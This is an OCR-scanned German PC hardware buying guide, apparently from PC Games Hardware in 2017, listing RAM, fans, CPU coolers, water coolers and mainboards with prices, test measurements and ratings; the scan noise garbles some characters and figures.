Crucial Ballistix Tactical BLT2CP8G3D 1869DT1TXOEU Са. € 130,- | 2 х 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vo 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Ca. € 130,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
G.Skill Ares F3-1866C10D-16GAB Са. € 130,- |2 х 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vo 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 360,- | 4 x 8 GiByte DDRA-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vo 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 330,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4M4C3200C16R Ca. € 290,- | 4 x 8 GiByte DDRA-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
Crucial Ballistix Elite BLE4CAG4D32AEEA Са. € 160,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 2/2016 | www.pcgh.de/preis/1464325 
Corsair Vengeance LED CMU32GX4M2C3200C16B Са. € 320,- | 2 x 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vol 2,33 2/2016 | www.pcgh.de/preis/1512560 
G.Skill Trident Z F4-3200C16D-16GTZ Ca. € 170,- | 2 x 8 GiByte DDR4-3200 | 16-16-16-36 | Dual-Rank | 4,4 cm | 1,35 Vol 2,48 | 04/2016 | www.pcgh.de/preis/1345305 
ТЇШ Kingston Hyper X Fury HX426C15FBK2/16 Са. € 140,- | 2 x 8 GiByte DDR4-2666 | 15-17-17-35 | Dual-Rank | 3,4 cm | 1,20 Vol 2,57 |04/2016 | www.pcgh.de/preis/1306647 
Kingston Hyper X Savage | HX424C12SB2K2/16 Са. € 150,- | 2 x 8 GiByte DDR4-2400 | 12-14-14-35 | Dual-Rank | 3,5 ст | 1,35 Vo 2,58 2/2016 | www.pcgh.de/preis/1380048 
Crucial Ballistix Tactical BLT2C8G4D26AFTA Са. € 160,- | 2 x 8 GiByte DDR4-2666 | 16-17-17-36 | Dual-Rank | 3,8 cm | 1,20 Vo 2,74 |04/2016 | www.pcgh.de/preis/1314985 
GEIL Dragon GWWA8GB3000C15DC N. verfügbar | 2 x 4 GiByte DDR4-3000 | 15-17-17-35 | Single-Rank | 3,2 cm | 1,35 Vo 2,78 | 04/2016 | www.pcgh.de/preis/1320964 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Вії SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI Z170A Gaming М7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro ** Silber-rote Version 
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SERVICE | Einkaufsführer 


Einkaufsführer Kühlung 


Preise: Stand 16.02.2017 


Lüfter 


Vëttueg ER PREIS-LEISTUNGS-TIPP 


ШШ o SPAR-TIPP 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 

Blacknoise Eloop B12-PS Ca. € 18,- | 4-Pin PWM/75 cm _ 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 

Scythe Glide Stream 120 PWM Ca.€9,- | 4-Ріп PWM/50 cm - 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 

EKL Alpenfóhn Wing Boost 2 Blue Ca. € 10,- | 4-Pin PWM/84 cm 7-Volt-Molex-Adapt. | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 

Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm - 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone 2,62 12/2016 | www.pcgh.de/preis/342339 

Arctic F12 PWM Ca. € 4- | 4-Ріп PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 13,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 

Be Quiet Silent Wings 2 PWM Ca. € 27,- | 4-Pin PWM/44 cm - 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/877395 

Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 

Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm - 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm _ 1.200 U/min 8,8/11,0/15,2 Kelvin ‚2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin ‚6/0,7/0,1 Sone| 2,27 01/2016 | www.pcgh.de/preis/1348647 

Noctua NF-A14 FLX Ca. € 22,- | 3-Pin/53 cm 2 Spannungs-Adapt. | 1.200 U/min 9,5/12,0/16,9 Kelvin ,2/0,4/0,1 Sone 2:27) 01/2016 | www.pcgh.de/preis/870798 

Aerocool Dead Sil. White Edi. 140mm | Ca. € 20,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 

Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 

Fractal Design Venturi HP-14 PWM Ca. € 18,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin ,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 

Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin ‚710,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 Снаге 4 
Silverstone SST-FQ141 Ca. € 20,- | 4-Ріп PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/1170330 

Be Quiet Silent Wings 2 PWM Ca. € 20,- | 4-Pin PWM/45 cm - 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 

Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm - 1.200 U/min 8,9/11,5/16,2 Kelvin ‚710,5/0,1 Sone 2,45 01/2016 | www.pcgh.de/preis/1112616 

Nanoxia Cool Force Ca. € 10,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 

Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 бопе 2,65 01/2016 | www.pcgh.de/preis/1186749 

Akasa 14cm Apache Black N. verfüg. | 4-Pin PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone 2,72 01/2016 | www.pcgh.de/preis/681031 

Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 27,- | 4-Pin PWM/40 cm - 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 

Be quiet Pure Wings 2 140mm Ca.€8,- | 3-Pin/45 cm - 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone 2,88 01/2016 | www.pcgh.de/preis/994425 Hkkunre 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Test in PCGH-Preisvergleich 

Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,3/9,0/12,6 Kelvin 0,6/0,2/0,1 Sone 1,72 04/2015 | www.pcgh.de/preis/955636 
* Auf Alphacool Nexxxos XT45 120/140/180 mm Radiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 

Prozesso : 

Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 % ШТИ Test in PCGH-Preisvergleich 

Noctua NH-D15 Ca. € 85,- 51 x 175 x 162 mm; 1312 g 50,8 °C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 

Scythe Mugen 5 Са. € 44,- 38 х 150 х 109 mm; 885 g Nicht mögl. (max. 0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,11 01/2017 | www.pcgh.de/preis/1549393 
Thermaltake Frio Extr. Silent 14 Dual | Ca. € 75,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °C ‚6/0,6/0,1 Sone 2,11 09/2015 | www.pcgh.de/preis/1196525 

Scythe Fuma Ca. € 43,- 38 x 149 x 131 mm; 923 g 52,0 °C (900 U/min) 48,5/50,8/56,2 °С 2,9/1,3/0,4 Sone 2,13 05/2016 | www.pcgh.de/preis/1339886 

Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 °C (1.140 U/min) 49,7/52,1/58,7 °С ,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 

EKL Alpenföhn Olymp Ca. € 60,- 55 x 161 x 151 mm; 1.187 g | 52,8 °С (1.020 U/min) 50,8/53,5/61,5 *C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
Thermalright Le Grand Macho RT Ca. € 60,- 50 x 162 x 148 mm; 1.111 g | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,19 01/2017 | www.pcgh.de/preis/1442034 
Thermalright Macho Rev. B Са. € 44,- 42 х 173 х 129 mm; 8779 52,2 °С (1.190 U/min) 51,2/54,7/62,9 °C ‚2/0,5/0,2 Sone 2,22 02/2015 | www.pcgh.de/preis/1193857 

Scythe Ninja 4 Ca. € 40,- 32 х 155 х 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,22 09/2015 | www.pcgh.de/preis/1267181 
Thermalright Macho Direct Ca. € 38,- 52 x 162 x 128 mm; 823 g 52,1 °C (1.190 U/min) 52,1/54,8/61,3 °C ,0/0,3/0,1 Sone** 2,23 04/2016 | www.pcgh.de/preis/1372274 
Thermalright Silver Arrow ITX N. verfüg. 67 x 163 x 105 mm; 775 g 52,1 °C (1.070 U/min) 50,2/54,3/62,9 °C ,5/0,5/0,1 Sone 227 05/2016 | www.pcgh.de/preis/1209699 

Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 x 150 mm; 1244 g 51,6 °C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,29 09/2015 | www.pcgh.de/preis/1054341 
Thermalright True Spirit 140 Direct Ca. € 35,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max.0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,30 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 39,- 53 х 173 x 98 mm; 840 g Nicht mögl. (max.0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 

Thermaltake Frio Silent 14 Са. Є 42,- 50 х 165 х 68 тт; 633 9 54 °С (1.060 U/min) 52,2/55,4/63,9 °C ,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 

Cooler Master Hyper 612 Ver.2 Ca. € 40,- 51 x 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 бопе) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 

Noctua NH-D15S Ca. € 75,- 49 x 163 x 134 mm; 1.153g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,54 | 05/2016 | www.pcgh.de/preis/1271076 

EKL Alpenföhn Brocken Eco Са. €31,- 31 x 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C ,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 

Arctic Freezer i32 Са. € 28,- 24 x 150 x 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 °C ,0/0,4/0,2 Sone** 2,56 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Pure Rock Ca. € 30,- 30 x 155 x 89 mm; 629 g 56,2 *C (1.370 U/min) 55,5/58,1/68,0 °C ‚5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 

Cooler Master Hyper 4125 Ca. € 40,- 32x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 бопе) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 

Enermax ETS-50 Axe Ca. € 55,- 39 x 161 x 112 mm; 910 g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca. € 38,- 28 x 141 x 67 mm; 328 g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C ,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 

Be Quiet Shadow Rock Slim Ca. € 39,- 41 x 159 x 73 mm; 702 g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 °C ‚6/0,5/0,1 Sone 2,69 09/2015 | www.pcgh.de/preis/1054903 

Noctua NH-C14S Ca. € 75,- 46 х 142 х 164 mm; 1.013 9 | 57,3 °C (980 U/min) 53,2/55,7162,3 °С 3,1/1,4/0,3 Ѕопе 2,98 04/2016 | www.pcgh.de/preis/1271077 


* Betrieb mit 50 Prozent Drehzahl nicht möglich 
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** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche 
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Einkaufsführer Wasserkühlung & Mainboards „вез 


CETTE TT PREIS-LEISTUNGS-TIPP [EL PISPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) И PCGH-Preisvergleich 


Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 °C (1.020 U/min) 49,4/51,2/56,0 °C 3,9/1,9/0,6/0,1 Sone 1,56 08/2016 | www.pcgh.de/preis/758311939 
IT Arctic Liquid Freezer 240 Ca.€80,- | 273 х 120 x 88 mm 47,4 °C (970 U/min) 47,9150,5/56,7 °C 2,5/1,0/0,2/0,2 Sone** 1,78 03/2016 | www.pcgh.de/preis/1341649 
Cooler Master Nepton 240M Ca. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 48,2/50,6/56,6 °C 4,3/2,1/0,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 Са. € 70,- | 275 х 120 x 53 mm 53,3 °C (1.020 U/min) 51,4/53,7/60,9 °C 2,8/1,3/0,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€80,- |276x120x 52 mm 51,7 *C (1.000 U/min) 50,0/51,8/57,6 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
Fractal Design Kelvin $24 Ca. € 100,- | 276 x 124 x 58 mm 52,7 °C (900 U/min) 51,1/53,3/57,2 °C 4,4/2,2/,8/0,7 Sone 2,42 06/2015 | www.pcgh.de/preis/1127755 
Thermaltake Water 3.0 Extreme S Ca. € 110,- | 277 x 120 x 55 mm 50,1 *C (1.020 U/min) 47,7151,1/59,2 °C 5,5/2,4/,6/0,4 бопе 2,43 06/2015 | www.pcgh.de/preis/1230429 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ВИ PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 250,- | 275 x 124 x 55 mm 49,6 *C (1.120 U/min) 49,6/51,3/57,4 *C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit 5240 N.verfüg. | 282 x 121 x 52 mm 49,2 *C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche 


Mainboards für AMD-Prozessoren 


Sockel FM2+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* Ш] PCGH-Preisvergleich 
Asus A88X-Pro Ca. € 120,- | А88Х/АТХ x16 (2), x1 (2), PCI (2) | 4 x (6 )/6 х 6Gb/s BIOS-Flashback 38,1/173,2 Watt 1,66 | 03/2014 | www.pcgh.de/preis/1001720 

ПТУ Asrock FM2A88X- Killer Ca. € 95,- | A88X/ATX x16 (2), x1 (2), PCI (3) | 4 x (2 x)/8 x 6Gb/s Killer E2200 LAN | 25,1/163,3 Watt 1,67 | 03/2014 | www.pcgh.de/preis/1051505 
Sockel AM3+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* Ё) PCGH-Preisvergleich 
Asrock 990FX Killer Ca. € 140,- | 990/ATX x16 (3), x1 (2), PCI (0) | 4 (2 х)/5 x 6Gb/s M.2-Schnittstelle | 60,7/287,4 Watt 1,76 | 09/2014 | www.pcgh.de/preis/1051502 
Asus Crosshair Formula-Z Ca. € 240,- | 990/ATX x16 (4), x1 (2), PCI (0) | 4 x (2 x)/8 x 6Gb/s Gut übertaktbar | 67,0/290,4 Watt 1,84 |09/2014 | www.pcgh.de/preis/823995 
Asus 990FX Sabertooth Ca. € 180,- | 990/ATX x16 (4), x1 (1), PCI (1) | 4 x (2 x)/8 x 6Gb/s E-SATA 81,4/334,7 Watt 1,89 | 09/2014 | www.pcgh.de/preis/827096 

Tr T Asus M5A97 R2.0 Ca.€85, | 970/ATX x16 (2), x1 (2), PCI (2) | 2 x (4 x)/6 x 6Gb/s BIOS-Flashback 58,8/277,6 Watt 1,89 |01/2013 | www.pcgh.de/preis/818969 

) 


* Leistungsaufnahme des ganzen PCs (A10-850K bzw. FX-8350 + HD 7970; 2x 2 GiB DDR3-1333) bei Windows-Leerlauf/Stabilitätstest 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Gigabyte Z170X-Gam. G1 | N. verfüg. | Z170/E-ATX | x16*/x0*/x16*/x0* & x1/x1/x1 | 3.0x4**; 3.0x4** | Sound Core | 2/0x3.1; 7/4x3.0; 10x | 6 (2x PWM) 2,26 10/2015 | www.pcgh.de/preis/1306474 
Asus Maximus VIII Ranger | Ca. € 190,- | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 7 (7x PWM) 2,33 11/2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Ca. € 290,- | Z170/ATX | x16*/x0* & x1/x1/x1/x1/x2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3.0; 8x | 7 (6x PWM) 2,34 10/2015 | www.pcgh.de/preis/1306329 
MSI Z270 Gam. Pro Carb. | Ca. € 180,- | Z270/ATX x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM) 2,39 02/2017 | www.pcgh.de/preis/1557471 
Asus Maximus IX Hero Ca. € 270,- | Z270/ATX | x16*/x0* & х1/х1/х0*/х4* 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 8 (8x PWM) 2,41 02/2017 | www.pcgh.de/preis/1557900 
NEU. EVGA 7270 FTW K N. verfüg. | Z270/ATX x16*/x0* & x4/x1/x1 3.0x4**: 3.0x4** | ALC1150 | 2/0x3.1; 6/4x3,0; 6x | 7 (7x PWM) 2,45 04/2017 | www.pcgh.de/preis/1561593 
Gigabyte Z270X-Gaming 7 | Ca. € 240,- | Z270/ATX | x16*/x0* & х1/х1/х0*/х0* 3.0x4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM) 2,46 02/2017 | www.pcgh.de/preis/1557876 
EVGA Z170 Classified Ca. € 500,- | Z170/E-ATX | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**; 3.0x1 Sound Core | 0/2x3.1; 6/2x3.0; 8x | 7 (7x PWM) 2,46 10/2015 | www.pcgh.de/preis/1306951 
INEU Super Micro C7Z270-CG | Ca. € 270,- | Z270/ATX x16*/x0*/x0* & x1/x1/x1 3.0x4; 3.0x4** ALC1150 | 4/0x3.1; 0/2x3,0; 6x | 5 (5x PWM) 2,52 04/2017 | www.pcgh.de/preis/974610303 
Asrock 7270 Gaming K6 | Ca. € 200,- | Z270/ATX x16*/x0* & х1/х1/х1/х4 3.0x4**; 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8х | 5 (5x PWM) 2,54 | 02/2017 | www.pcgh.de/preis/1544856 
Gigabyte Z170X-Gam. 3 | Са. € 150,- | Z170/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3.0; 6x | 5 (1х PWM) 2,55 11/2015 | www.pcgh.de/preis/1306467 
MSI 2170A Gaming M7 Ca. € 210,- | ZI70/ATX x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 5 (3х PWM) 2,56 10/2015 | www.pcgh.de/preis/1306689 
ПТУ Asrock 2170 Gaming K4 | Ca. € 130,- | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3.0; 6x | 6 (6x PWM) 2,61 11/2015 | www.pcgh.de/preis/1306625 
Asrock 7170 Extreme4 Ca. € 140,- | 2170/АТХ x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 6/2x3,0; 6x | 5 (4х PWM) 2,64 08/2016 | www.pcgh.de/preis/1306610 
INEU | Biostar 2270676 Са. € 210,- | 2270/АТХ x16 & х1/х1/х4/*х1/х4 3.0x4* ALC892 0/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) 2,79 04/2017 | www.pcgh.de/preis/1558351 
Supermicro С77170-50 Ca. € 220,- | Z170/ATX x16*/x0*/x0* & x1/x4/x1 3.0x4 ALC898 1/0x3.1; 2/4x3.0; 6x | 5 (5х PWM) 2,79 10/2015 | www.pcgh.de/preis/1307677 
MSI H170A PC Mate Ca. € 100,- | Н170/АТХ x16 & х0*/х0*/х0*/х4* 3.0х4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2x PWM) 2,82 08/2016 | www.pcgh.de/preis/1319556 
Biostar 2170GT7 N. verfüg. | Z170/ATX x16*/x0* & х1/х0*/х4*/х0*/х4 | 3.0x4** ALC898 1/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) 2,95 08/2016 | www.pcgh.de/preis/1390374 
ID y Asrock B150M Pro4S Ca. € 75,- | B150/uATX | x16 & x1/x1/x4 _ ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 2,98 08/2016 | www.pcgh.de/preis/1318332 
Super Micro C7H170-M Ca. € 160,- | H170/pATX_| x16 & x4/x1 3.0x4 ALC1150 | 0/0x3.1; 4/2x3,0; 6x | 5 (bx PWM) 3,10 08/2016 | www.pcgh.de/preis/1326288 
Asus H110M-Plus Са. € 70,- | H110/UATX | x16 & x1(2.01)/x1(2.01) - ALC887 2/0x3.1; 2/2x3,0; 4x | 2 (2x PWM) 3,50 08/2016 | www.pcgh.de/preis/1350313 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 260,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,83 0/2016 | www.pcgh.de/preis/1462624 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 0/2016 | www.pcgh.de/preis/1441449 
Asrock X99 Extreme4/3.1 | Ca. € 280,- | X99/ATX x 16/x16/x0* & x4/x1 3.0x4* ALC1150 |/x3.1; 4/2x3,0; 10x | 6 (2x PWM) 1,85 0/2016 | www.pcgh.de/preis/1252790 
Gigabyte X99-Ultra Gam. | Ca. € 280,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,88 0/2016 | www.pcgh.de/preis/1446348 
Iu y Msi X994 Raider Ca. € 210,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 4/2x3,0; 10x | 5 (2x PWM) 1,95 0/2016 | www.pcgh.de/preis/1247988 
Asus X99-E Ca. € 240,- | X99/ATX x16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 0/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 300,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1x PWM) 1,96 0/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K Ca. € 350,- | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x PWM) 2,10 0/2016 | www.pcgh.de/preis/1452679 
Sockel 1150 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
